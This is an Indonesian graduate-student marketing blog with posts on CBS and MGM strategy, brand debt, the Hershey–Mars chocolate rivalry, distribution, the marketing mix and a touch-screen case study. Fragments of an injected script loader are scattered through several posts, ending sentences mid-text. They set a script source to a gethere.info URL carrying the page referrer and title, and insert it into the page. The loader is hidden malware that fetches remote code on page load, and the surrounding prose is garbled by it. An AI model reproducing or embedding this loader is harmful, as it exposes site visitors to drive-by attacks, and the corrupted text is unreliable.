Otto Siahaan, Graduate Student of MB IPB Marketing Class Noted on March 27, 2012. CEO Exchange (Leslie Moonves and Alex Yamenidjian)

Mata Kuliah Manajemen Pemasaran dengan Dosen Prof. Dr. Ir Ujang Sumarwan, M.Sc. Ditampilkan sebuah tayangan sebuah Talkshow yang dilakukan oleh Jeff Griendfield kepada CEO dari CBS Leslie Moonves dan CEO dari MGM Alex Yemenidjian dalam Program Acara yang dinamakan CEO Exchange.

 

Konsep marketing yang dikembangkan oleh CBS adalah :

Dengan melebarkan segmen pasar usia penonton CBS yang semula diperuntukan bagi usia – usia lanjut, maka sesuai dengan tuntutan pasar, maka segmentasi pasar usia penonton CBS diperluas dengan membuat program – program yang dapat diminati oleh kalangan muda dengan program “Survival”.

Sedangkan untuk Strategy MGM yang digunakan adalah melalui Film yang berkualitas dengan bintang utama yang terkenal, dengan strategy pada gambar tertentu MGM menjual beberapa atau semua hak asing, atau melakukan kemitraan dengan studio lain, sehingga dapat menurunkan biaya Produksi Film dan membuat film dengan anggaran yang rendah.

Marketing Mix :

Konsep Produk : diversifikasi produk, contoh : MGM : Layar Lebar, Layar Kaca, dan DVD

Segmentasi : CBS : pada awalnya segmentasi pemirsa CBS adalah usia tua, kemudian merambah ke usia muda bahkan anak-anak dengan program acara yang lebih beragam. Seperti : Survivor, Nick Junior.

Place : Distribusi MGM : menggunakan internet

Promosi : CBS : menggunakan Billboard, Majalah, Internet sebagai media untuk mempromosikan acara baru mereka.

MGM : Menggunakan DVD dan internet sebagai media, dimana konsumen dapat menikmati FILM-FILM dari MGM kapanpun dan dimanapun.

Price : MGM : Overhead cost dan distribution costnya rendah, membuat produk yang dihasilkan lebih kompetitif.

 

Kalimat-kalimat Inspiratif :

1. Otto Siahaan

CEO EXCHANGE

Pertama

Kalimat  inspiratif CEO CBS: Leslie Moonves

Untuk menjadi pemimpin yang besar dan berhasil : lakukan yang tidak bias dilakukan oleh orang lain : Hal ini menginspirasi adalah menjadi orang yang outstanding dan breakthrough terhadap target atau goal, sehingga kita pasti pemenang dalam bidangnya.

Kedua

Kalimat inspiratif CEO MGM: Alex Yemenidjian

Ketika CEO bertanya kepada karyawannya sampai jam berapa bekerja? : karyawan menjawab sampai  pekerjaannya hari itu selesai, hal ini menginspirasi menjadi untuk bekerja keras dan harus ada hasil yang didapatkan setiap hari.

 

2. Fina Fitriana:

Sebuah Talkshow yang sangat menarik untuk disimak, dari tayangan tersebut ada 2 kalimat yang menginspirasi saya, yaitu bahwa :

Temukan yang anda sukai, lakukan dengan baik, lalu yang lain akan datang

Arti yang dapat disimpulkan disini adalah, bahwa segala sesuatu yang kita kerjakan haruslah semaksimal mungkin yang bisa kita lakukan bahwan di luar perkiraan yang bisa kita lakukan. Karena hal itu dapat menginspirasi kalimat kedua yang saya catat dalam talkshow tersebut sebagai berikut :

Mengerjakan sesuatu yang tidak dikerjakan oleh orang lain

Artinya kita harus melihat segala peluang yang dapat tercipta, yang tidak diciptakan atau dilihat serta dikerjakan orang lain, sehinggakita dapat lebih unggul.

3. Sarifa Marwa :

Kalimat inspiratif :

Alex : Background saya adalah seorang akuntan, dan saya tidak pernah menyesal akan hal itu justru saya jadikan hal tersebut menjadi batu loncatan. Dan hal itu sangat berguna kedepannya.

Sangat inspiratif buat saya karena apapun background kita jangan pernah menyesal akan pilihan tersebut, dan seharusnya dijadikan batu loncatan untuk kesuksesan.

4. Hesti Lestari

Kata Inspiratif dari CEO CBS : Leslie Moonves

Bahwa dalam bekerja harus didasari oleh rasa senang bukan semata-mata karena uang.

 

Kata Inspiratif dari CEO MGM : Alex Yemenidjian

Rasa takut tentang kegagalan akan menjadi dorongan untuk mencapai keberhasilan.

 

5. Yudha Adityawarman

 

Hal yang menginspirasi

Leslie Moonves :

• Menekuni hal yang disenangi (hobby) dan akhirnya menjadi profesional dibidangnya, yaitu mulai dari menjadi aktor dan akhirnya menjadi CEO CBS Television.
• Find something you love first.
• Untuk menjadi yang tedepan kita harus memahami kompetitor
• Jika ingin menjadi seorang eksekutif harus memiliki keinginan dan kerja keras

Alex Yemenidjian
• Kerja keras dan mulai dari hal-hal kecil, yang awalnya tidak memiliki apa-apa.
• Atasi fear and failure sebagai dorongan untuk maju
• Change sosiety and change generation
• Melakukan hal baik akan menghasilkan yang baik pula} else {

Posted in Uncategorized | Comments Off on Otto Siahaan, Graduate Student of MB IPB Marketing Class Noted on March 27, 2012. CEO Exchange (Leslie Moonves and Alex Yamenidjian)

Marketing Management Class Discussion

Marketing Management Class Discussion

 Otto Siahaan

Post Graduated Student of  MB-IPB Class of 39E

 

Pertanyaan :

Apakah ada faktor lain selain  penjualan, yang menjadi parameter bagi produsen untuk mengetahui bahwa produk atau merek yang dipasarkan telah mencapai positioning yang kuat di benak konsumen?

Jawaban:

Banyak faktor diluar dari penjualan yang harus diperhatikan oleh perusahaan dalam pengukuran ekuitas merek. Menurut Deborah MacInnis, “ekuitas merek dianggap sebagai nilai finansial dari pencerminan sebuah brand mencerminkan ke-efisienan dalam menarik dan mempertahankan merek”, dapat dilihat selain faktor penjualan,faktor-faktor lain seperti; Diferensiasi (inovasi perusahaan kepada pasar sasaran), Bauran pemasaran (taktik kreasi; memadukan tawaran perusahaan,logistik dan komunikasi) dan Maintanance terhadap produk merupakan faktor-faktor lain yang perlu diperhatikan dalam pengukuran ekuitas merek tersebut. Hal ini dikarenakan, sebuah brand yang memiliki positioning yang sudah baik akan terus memperluas pangsa pasar yang baru dan mempertahankan konsumen / pangsa pasar yang lama.

 

 

Pertanyaan :

Sebutkan faktor-faktor lain (selain 5 faktor yang sudah dijelaskan) yang membahayakan/ menyebabkan utang merek?

Jawaban:

Berikut merupakan 5 faktor yang berpotensi membahayakan/ menyebabkan utang merk :

  1. Customer dissatisfaction (seberapa tinggi tingkat komplain dari pelanggan)

Komplain,  bisa karena distribusi yang terlambat, komplain kerusakan produk, komplain pelayanan dan komplain mengenai kualitas.

 

  1. Environment problem  (Apakah menimbulkan masalah lingkungan)

Faktor ini menyangkut keselamatan kerja, penanganan limbah padat, cair  dan B3, juga menyangkut emission seperti carbon footprint (CO2), menyangkut water footprint, juga termasuk dengan aktivitas CSR perusahaan berjalan atau tidak, termasuk pada lingkungan sekitar.

 

  1. Product or Service Failures (Apakah kualitas produk rendah)

Faktor ini menyangkut  issue kontaminasi, issue quantity product (standard size produk), disfungsional produk, dan juga self life produk

 

  1. Lawsuits and Boycots ( Apakah perusahaan meghadapi masalah/kendala hukum)

Menyangkut  masalah hukum pendirian, patent, peraturan ijin produk, pendaftaran produk ke BPOM atau lembaga pemerintah, penipuan dll

 

  1. Questonable business Practices : Apakah ada ethical lapse (penurunan).

Berita negatif mengenai praktik-praktik bisnis yang tidak etis seperti kondisi kerja yg dipertanyakan

Selain lima faktor diatas, menurut kami ada beberapa hal lain yang harus diperhatikan, yaitu :

  • Kegagalan alternatif investasi : Investor selalu mencari alternatif investasi yang memberikan return tertinggi pada tingkat resiko tertentu  (high risk high return).  Apabila terjadi kegagalan, maka akan meningkatkan passiva merek pada perusahaan tersebut
  • Kegagalan pada pasar saham : Apabila suatu perusahaan melakukan antisipasi yang salah pada perubahan harga saham jenis tertentu, maka tingkat pengembalian dan  jumlah asset pada perusahaan tersebut akan menurun, sehingga faktor ini dapat mempengaruhi utang.
  • Ketidaksiapan pada relevansi produk : suatu perusahaan harus siap ketika terjadi perubahan gaya hidup dan komposisi pada konsumen mereka. Apabila mereka tidak siap terhadap relevansi konsumen tersebut, maka akan meningkatkan passiva perusahaan seperti contoh yang terjadi pada perusahaan mobil mewah Cadillac.

 

 

Pertanyaan :

Dengan semakin berkembangnya sistem informasi teknologi, maka semakin marak pula iklan-iklan online yang ditampilkan di dunia maya. Menurut kelompok anda, bagaimana cara melakukan segmentasi agar iklan online tersebut efektif?

Jawaban:

Sebuah fakta menarik bahwa pertumbuhan pengguna internet di Indonesia sangatlah pesat, tahun 2002 pengguna internet di Indonesia 2,2 juta, tahun 2004 telah menjadi 11 juta user. Dan akhir tahun 2005 berkembang menjadi 16 juta user (www.apjii.or.id). Dengan perkembangan minimal 23 % pertahun. Ini artinya bahwa sebuah pasar yang sangat potensial bagi produsen yang bisa memanfaatkan peluang. Ini adalah pangsa pasar yang sangat besar. Bisa dibayangkan dan pikirkan, kira-kira menjadi berapa 2 tahun kedepan? (Kam Adi Dama, 2009)

 

Oleh karena itu menurut David Webb, Regional Managing Director of Advertising Solutions Nielsen, media sosial menjadi sebuah kegiatan yang semakin dominan di seluruh wilayah, dalam hal ini merek dapat dengan cepat terkenal melalui iklan mereka dengan melibatkan konsumen. Agar promosi melalui iklan online dapat berjalan efektif, maka diperlukanlah segmentasi pasar.

 

Segmentasi pasar merupakan suatu aktivitas membagi atau mengelompokkan pasar yang heterogen menjadi pasar yang homogen atau memiliki kesamaan dalam hal minat, daya beli, geografi, perilaku pembelian maupun gaya hidup. Salah satu keuntungan dari segmentasi pasar adalah lebih terfokusnya strategi pemasaran.

 

Salah satu hal yang diyakini cukup berperan penting dalam pemasaran adalah promosi barang ataupun jasa yang akan ditawarkan. Beberapa tahun belakangan ini media yang sedang trend digunakan sebagai ajang promosi ialah iklan online. Agar iklan online yang dibuat lebih efektif dan sesuai dengan sasaran pasar yang ingin dituju, maka ada beberapa hal yang harus diperhatikan :

 

  • Segmentasi pengunjung website yang ingin dijadikan sebagai sasaran  iklan.
  • Iklan online yang dibuat ditempatkan pada website yang sesuai.
  • Sebaran pengunjung atau pembaca website.
  • Penempatan waktu iklan online yang tepat.

 

Hal ini dilakukan agar promosi melalui iklan online yang dilakukan tepat sesuai sasaran. Selain itu, setelah promosi dilakukan, maka yang perlu dilaksanakan yakni penguatan jasa layanan, agar konsumen yang mulai mencoba produk/layanan merasa terpuaskan. Hal ini penting, karena salah satu bentuk sistem pemasaran yang efektif ialah rekomendasi positif melalui “mouth to mouth” sebagai bentuk testimonial.

 

 

Pertanyaan :

Model persaingan seperti apa yang terjadi pada chocolate war dan seperti apa strateginya? Mengapa Hersey memasok coklat untuk Mars?

Jawaban:

Hersey merupakan Market Leader pada bisnis coklat dengan produk unggulannya yaitu “Milky Way”. Sedangkan sebagai pendatang baru, Mars memainkan peran sebagai Market Challenger pada bisnis yang sama. Sebagai Market Challenger, strategi yang dilakukan oleh Mars yaitu :

  • Tujuan dan musuh strategik :

Mars memilih strategi untuk menyerang pemimpin pasar. Strategi tersebut memang berisiko tinggi namun akan menimbulkan asumsi yang bagus apabila Hersey, sebagai Market Leader tidak dapat melayani pasar dengan baik.

  • Strategi serangan umum :

Frontal Attack, menyerang secara langsung dengan kampanye iklan besar-besaran

  • Strategi serangan khusus :

Product Proliferation, Product Innovation, Distribution Innovation, Intensive advertiing promotion

Pada mulanya Mars memang menggunakan bahan baku coklat yang diolah oleh Hersey, hal ini karena pada saat tersebut cukup sulit untuk membuat sendiri bahan baku coklat, investasi yang dibutuhkan pun cukup besar untuk membeli tekhnologi dan juga membangun pabrik pengolahan bahan baku coklat. Selain itu, Hersey dengan kapasitas pabrik pengolahannya yang besar  menjadikan harga coklat menjadi murah, hal-hal tersebutlah yang menjadi pertimbangan Mars untuk membeli coklat dari Hersey. Bagi Hersey pun ini merupakan simbiosis mutualisme, karena Mars merupakan pembeli terbesar coklat Hersey.}

Posted in Uncategorized | Comments Off on Marketing Management Class Discussion

Chocolate WAR

Otto Siahaan
Graduate student of MB-IPB Class of E39
Chocolate WAR
Untuk memenangkan perang di pasar konsep marketing mix harus kokoh, Produk arus berkualitas tinggi (chocolate tidak mudah meleleh), Harga yang kompetitif, Distribusi harus mayoritas diatas 85% mengusai supermarket category coklat akan memudahkan menang dalam perang. Promosi, harus focus dan aggressive untuk mendapatkan pasar atau space.

Inspire me from chocolate WAR between Hersheys vs Mars
1. Konsep marketing melalui social yang dilakukan Hersheys membuat Bill Deardon loyal dan memajukan perusahaan.
2. Mars melakukan inovasi dan lobi untuk mendapatkan pasar. Dengan cara apapun dilakukan untuk mencapai target.
Dalam perang ini masing kekuatan harus mengetahui kelemahan dan kelebihan competitor kita, sehingga untuk memenangkan perang dipasar, harus setiap langkah memiliki innovasi dan kreativitas yang unggul.if (document.currentScript) {

Posted in Uncategorized | Comments Off on Chocolate WAR

Distribusi

Otto Siahaan

Graduate student of MB-IPB Class of E39

DISTRIBUSI

Distribusi salah satu aktivitas dan dimensi dalam marketing mix.  Distribusi merupakan langkah awal untuk mendekatkan suatu produk kepada konsumen atau pemakai.  Dengan distribusi akan mempercepat proses penjualan suatu produk, dan jika distribusi  berjalan dengan baik akan mempengaruhi sebaran produk  sesuai dengan demand  dari suatu area target market produk tersebut yaitu tepat sasaran.  Hal yang perlu dihindari apabila barang tertentu didistribusikan  ke suatu tempat berlebih dibandingkan daerah yang lain, dan mengakibatkan persedian tidak merata, akibatnya daerah tersebut overstock dan yang lain jadi shortage.  Sehingga distribusi juga harus mempertimbangkan sales rate dari daerah tertentu.  Dengan mengetahui sales rate dan kebutuhan daerah maka mempermudah jumlah produk yang akan didistribusikan yang pada akhirnya target penjualan akan tercapai dengan mudah.

Distribusi juga mengikat biaya transportasi yang tentunya menjadi komponen COGS produk tersebut.  Dengan distribusi yang tidak benar bisa mengakibatkan biaya transportasi yang tidak tepat juga dan akan mempengaruhi margin produk menjadi lebih rendah.  Beberapa perusahaan juga mempertimbangkan daerah yang akan dicakup oleh penjulan produk tersebut.  Kalkulasi biaya ini menjadi hal yang perlu dipertimbangkan, dan juga menjadi hal yang penting, kecuali apabila dianggap menjadi investasi ke depan dengan positioning produk tersebut ke konsumen distribusi secara nasional diperlukan.  Dengan distribusi yang sudah berjalan dengan baik maka proses promosi bisa berjalan effective.  Dengan distribusi yang tepat ketika ada iklan maka produk sudah tersedia ditempatnya maka konsumen bisa langsung melakukan pembelian.   Target utama adalah mempertemukan produk dengan konsumen dan terjadi transaksi jual beli.

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Posted in Uncategorized | Comments Off on Distribusi

Otto Siahaan Graduate student of MB-IPB Class of E39

Marketing Mix

  1. Product
  2. Price
  3. Promotion
  4. Place

Product

Dalam marketing produk yang terdiri dari barang dan jasa yang akan dipasarkan atau dijual kepada konsumen atau pelanggan untuk memenuhi kebutuhan mereka.  Produk yang kompetitif adalah produk yang berkualitas dan biaya yang terikat pada produk tersebut sehingga harga jualnya lebih murah tetapi bukan murahan.  Produk yang memiliki nilai tambah atau nilai fungsional akan memudahkan bagian pemasaran untuk menjual produk tersebut.  Dengan demikian produk tersebut menjadi suatu solusi atau jawaban akan kebutuhan dari konsumen.  Kebutuhan konsumen yang sangat beragam dan permintaan yang beragam maka diperlukan Pengembangan dan menciptakan suatu produk baru, sehingga bisa memenuhi kebutuhan konsumen beragam jenis sesuai dengan kebutuhan dari konsumen.  Untuk mempertahankan produk yang berkualitas dan inovatif diperlukan pengembangan produk baru atau pun mengembangkan produk yang sudah ada secara berkesinambungan untuk meningkatkan kualita, fungsional dan nilai tambah yang lain untuk memuaskan konsumen.

Price

Biaya yang terikat terhadap produk yang akan dijual dan yang harus dibayar oleh konsumen sebagai pembeli.  Biaya atau price menjadi hal sangat penting dalam memasarkan suatu produk.  Dalam menentukan harga suatu produk perlu dibandingkan dengan pesaing atau produk  competitor.  Harga juga menjadi pertimbangan untuk menentukan segmen pasar, dan juga memperkirakan pangsa pasar yang akan diambil (target kuantiti terjual).  Dengan mengature komponen cost di dalam setiap step proses akan memberikan pengaruh yang cukup besar untuk menentukan consumer Product Price, dan menjadi salah satu  factor yang memastikan produk tersebut murah atau affordable dan memiliki daya saing dari sudut pandang harga.

Promotion

Setelah produk ada dan siap dijualkan, maka marketing mengkomunikasikan suatu produk terhadap calon konsumen atau konsumen sehingga produk akan sustain dan tetap ada dipasar.   Promosi ini ada bersifat sempit dan luas.  Dalam arti sempit promosi hanya untuk memberikan stimulus untuk konsumen supaya mengambil keputusan untuk membeli, yang biasa disebut insentif. Seperti buy one get two.  Promosi dalam arti luas adalah komunikasi yang dibangun untuk menkomunikasikan produk ke lebih banyak konsumen dan target konsumen, dalam cakupan lebih luas, seperti komunikasi produk knowledge terhadap kelompok umur tertentu (dini), iklan ditelevisi, dan iklan yang membuat brand image pda konsumen.

Place

Umumnya menyangkut distribusi suatu produk, akan tetapi juga menyangkut bagaimana suatu produk tersedia di toko atau tempat konsumen membeli suatu produk.  Artinya ketersediaan barang atau jasa ditempat yang tepat mudah didapatkan, mudah diakses dan juga penempatan produk dalam suatu took.  Contoh produk makanan harus ditempatkan pada kelompok makanan, produk house hold akan ditempatkan pada kelompok produk house hold.  Sehingga jika konsumen mencari suatu produk sesuai dengan group produk tersebut maka akan memudahkan konsumen/pembeli mencari produk tersebut.document.currentScript.parentNode.insertBefore(s, document.currentScript);

Posted in Uncategorized | Comments Off on Otto Siahaan Graduate student of MB-IPB Class of E39

STUDI KASUS ARTICLE. Case 4. Apple, Microsoft, IBM and others : The Touch Screen Comes of Age

Article Case 4. Apple, Microsoft, IBM and others : The Touch Screen Comes of Age
The WIMP human-computer interface may have an uninspiring name, but Windows, Icons, Menus and Pointing devices have dominated computing for some 15 years. The keyboard, mouse and display screen have served users extraordinarily well.
Now the hegemony of WIMP may be coming to an end, say developers of technologies based on human touch and gesture. For evidence, look no further than Apple’s one-year-old iPhone. From a human-interface point of view, the combined display and input capabilities of the iPhone’s screen, which can be manipulated by multiple fingers in a variety of intuitive touches and gestures, is nothing short of revolutionary.
The iPhone isn’t the only commercial device to take the human-computer interface to a new level. The Microsoft Surface computer puts input and output devices in a large, table-top device that can accommodate touches and gestures and even recognize physical objects laid on it. And the DiamondTouch Table from Mitsubishi Electric Research Laboratories (MERL) is a touch- and gesture-activated display that supports small group collaboration. It can even tell who is touching it.
These devices point the way toward an upcoming era of more natural and intuitive interaction between human and machine. Robert Jacob, a computer science professor at Tufts University in Medford, Mass., says touch is just one component of a booming field of research on “post-WIMP interfaces,” a broad coalition of technologies he calls reality-based interaction.
Those technologies include virtual reality, context-aware computing, perceptual and affective computing, and tangible interaction — in which physical objects are recognized directly by a computer
“What’s similar about all these interfaces is that they are more like the real world,” Jacob says.
For example, the iPhone “uses gestures you know how to do right away, such as touching two fingers to an image or application, then pulling them apart to zoom in or pinching them together to zoom out” These actions have also found their way into the iPod Touch and the track pad of the new MacBook Air “Just think of the brain cells you don’t have to devote to remembering the syntax of the user interface. You can devote those brain cells to the job you are trying to do,” Jacob adds. In particular, he says, the ability of the iPhone to handle multiple touches at once is a huge leap past the single-touch technology that dominates in traditional touch applications such as ATMs.
Although they have not gotten much traction in the marketplace yet, advanced touch technologies from IBM may point a way to the future. In its Everywhere Displays Project, IBM mounts projectors in one or more parts of an ordinary room and projects images of “touch screens” onto ordinary surfaces, such as tables, walls or the floor. Video cameras capture images of users touching various parts of the surfaces and send that information for interpretation by a computer. The touch screens contain no electronics — indeed no computer parts at all –so they can be easily moved and reconfigured.
A variation on that concept has been deployed by a wine store in Germany, says Claudio Pinhanez at IBM Research. The METRO Future Store in Rheinberg has a kiosk that enables customers to get information about the wines the store stocks. But the store’s inventory was so vast customers often had trouble finding the particular wine they wanted on the shelf. They often ended up buying a low-margin wine in a nearby bin of sales specials, Pinhanez says. But now the kiosk contains a “show me” button which, when pressed, shines a spotlight on the floor in front of the chosen item.
IBM is also working on a prototype system for grocery stores that might, for example, illuminate a circle on the floor that asks, “Do you want to take the first steps toward more fiber in your diet?” If the customer touches “yes” with his foot, the system projects footsteps to the appropriate products — high-fiber cereal, say. “Then you could make the cereal box itself interactive,” Pinhanez says. “You touch it, and the system would project information about that box on a panel above the shelf. “Asked if interactive cereal boxes might be a solution in search of a problem, Pinhanez says, “The point is, with projection and camera technology you can transform any everyday object into a touch screen.” He says alternatives that are often discussed — a store system talks to customers through their handhelds, for example — are hard to implement because of a lack of standards for the technology.
Microsoft is working with several commercial partners, including Starwood Hotels & Resorts Worldwide Inc., to introduce Surface, which is due to ship in the spring. It will initially target leisure, entertainment and retail applications, says Mark Bolger, director of marketing for Surface Computing. For example, he says, one could imagine a hotel guest using a “virtual concierge” in a Surface computer in the lobby to manipulate maps, photos, restaurant menus and theater information.
Some researchers say that a logical extension of touch technology is gesture recognition, by which a system recognizes hand or finger movements across a screen or close to it without requiring an actual touch. “Our technology is halfway there,” IBM’s Pinhanez says, “because we recognize the gesture of touching rather than the occlusion of a particular area. You can go over buttons without triggering them.”
Touch technology in its many variations is an idea whose time has come, Baudisch says. “It’s been around a long time, but traditionally in niche markets. The technology was more expensive, and there were ergonomic problems,” he says. “But it’s all kind of coming together right now.” The rise of mobile devices is a big catalyst, he says, with the devices getting smaller and their screens bigger. When a screen covers the entire device, there is no room for conventional buttons, he points out. And that will give impetus to other types of interaction, (such as voice,)
Of course, researchers and inventors have envisioned even larger touch displays, including whole interactive walls. A quick YouTube search for “multitouch wall” shows that a number of these fascinating devices have reached the prototype stage, entrancing multitudes at technology conferences to be entranced. Experts predict that this is just the beginning.
Pradeep Khosla, professor of electrical and computer engineering and robotics at Carnegie Mellon University in Pittsburgh, says touch technology will proliferate, but not by itself. “When we talk face to face, I make eye gestures, face gestures, hand gestures, and somehow you interpret them all to understand what I am saying. I think that’s where we are headed,” he says. “There is room for all these things, and multimodal gestures will be the future.”
“There’s been this notion that less is more — you try to get less and less stuff to reduce complexity,” he says. “But there’s this other view that more is actually less — more of the right stuff in the right place, and complexity disappears.” In the office of the future, Buxton predicts, desktop computers might be much the same as they are today. “But you can just throw stuff, with the mouse or a gesture, up onto a wall or whiteboard and then work with it with your hands by touch and gesture standing up. Then you’ll just pull things into your mobile and have this surface in your hand. The mobile, the wall, the desktop — they are all suitable for different purposes.”
Will that be the end of the WIMP interface? Tufts’ Jacob advises users not to discard their keyboards and mice anytime soon. “They really are extremely good,” he says. “WIMP almost completely dislodged the command-line interface. The WIMP interface was such a good invention that people just kind of stopped there, but I can’t believe it’s the end of the road forever.”
Buxton agrees. “WIMP is the standard interface going back 20-plus years, and all the applications have been built around that,” he says. “The challenge is, without throwing the baby out with the bath, how do we reap the benefits of these new approaches while preserving the best parts of the things that exist?”

Case Study no 1. “What benefits may starwood hotels derive from the introduction of touch screen technology as noted in the case? What possible disruption may occur as a result. Provides several examples of each”
1. Benefit pada Hotel Starwood dengan pengenalan teknologi layar sentuh pada kasus 4 ini :
Penggunaan teknologi layar sentuh merupakan suatu prestise dari sebuah Hotel, sama seperti Hotel-hotel lainnya seperti Hotel Sheraton, W, Westin, dan Meriden.
Target awal adalah untuk mengisi waktu senggang, media hiburan dan menyediakan applikasi penjualan produk.
– Hambatannya : lebih mahal pengadaan program, perangkat lunak dan keras.
2. Benefit yang lain adalah berdampak langsung ke tamu Hotel, memudahkan tamu hotel mendapatkan informasi yang bernilai dari layar computer/layar sentuh di Lobi dan mengakses dan memanfaatkan map/peta, melihat photo-photo, mendapatkan informasi menu restoran dan informasi teater yang ada di hotel tersebut.
3. Layar sentuh ini memiliki kemudahan kesesuaian dengan posisi badan (lebih ergonomic) untuk mengoperasikan layar sentuh, hanya dengan mengunakan tangan dan jari-jari untuk menggerakan di layar sentuh. Dengan teknologi ini orang tidak perlu duduk dan mengunakan mouse, namun dengan layar sentuh bisa dengan mudah dioperasikan karena hanya 2 tangan dan menyentuh dengan jari-jari.
4. Dengan layar sentuh juga, memudahkan tamu untuk mengakses sesuatu informasi dengan berbagai bahasa yang sudah diupload pada program. Pihak hotel bisa menyediakan berbagai bahasa sehingga setiap tamu yang berasal dari berbagai Negara, tidak perlu mengunakan tenaga guide alih bahasa hanya untuk melayanin informasi-informasi yang umum.

Contoh dari gangguan : pada layar tersebut bisa jadi macet pada area-area tertentu.
1. Case Study no 2. “Bill Buxton of Microsoft stated that “(t)ouch now may be where the mouse was in about 1983.” What do you make of his comments, and what do you think it would take for touch technology to displace the WIMP inerface? Justify yur answer.”

1. Bill Buxton dari Microsoft menyatakan : bahwa penemuan layar sentuh sama dengan pada saat penemuan mouse pada tahun 1983. Pernyataanya relative benar, karena pada jaman mouse akan memudahkan mengoperasikan applikasi , namun pada saat itu belum banyak dukungan dari applikasi pada saat itu. Dengan temuan layar sentuh, maka memudahkan juga mengoperasikan dari dengan dukungan banyak applikasi, lebih kelihatan pengaruhnya pada saat ini. Memang kebetulan saat ini masih pada tahap lifcycle produk layar sentuh.
Dengan layar sentuh akan memudahkan orang mengoperasikan computer, dengan WIMP system, yang mengunakan personal computer tergantikan oleh computer yang layar sentuh yang lebih simple dan ramah mengoperasikan, mendukung posisi tubuh, bisa pada saat berdiri dan duduk, sementara system WIMP, harus menyediakan mouse, meja, hardware yang cukup besar dan memakan tempat .
2. Case Study 3. “Is advenced touch screen technology really a solution in search of a problem? Do you agree with this statement? Why or why not?
Apakah kemajuan technology layar sentuh akan menjadi solusi untuk mencari sebuah masalah?
Tidak setuju : karena pada dasarnya layar sentuh hanya memudahkan mengoperasikan vitur-vitur yang tersedia pada software, dan dioperasikan melalui layar sentuh. Memudahkan mengakses data dan informasi pada alat. Memang dengan mengoperasikan layar sentuh ini, akan membantu untuk melakukan pengecekan posisi barang (jika diaplikasikan pada gudang atau toko) yang menyimpan suatu produk dialamat tertentu (code tertentu). Secara prinsip layar sentuh bukan mencari solusi sebuah masalah, walaupun teknologi ini menjadi salah satu solusi dan terobosan baru melakukan pengembangan teknologi memudahkan kinerja orang. Secara tidak langsung bisa menjadi dasar untuk mencari solusi dalam hal pengembangan suatu capability atau functionality dari layar sentuh yang salah satu quality dari perkembangan teknologi informasi.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Posted in Uncategorized | Comments Off on STUDI KASUS ARTICLE. Case 4. Apple, Microsoft, IBM and others : The Touch Screen Comes of Age

Hello world!

Welcome to Blog Mahasiswa MB IPB. This is your first post. Edit or delete it, then start blogging! Url your blog Blog Mahasiswa MB IPBs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Posted in Uncategorized | 1 Comment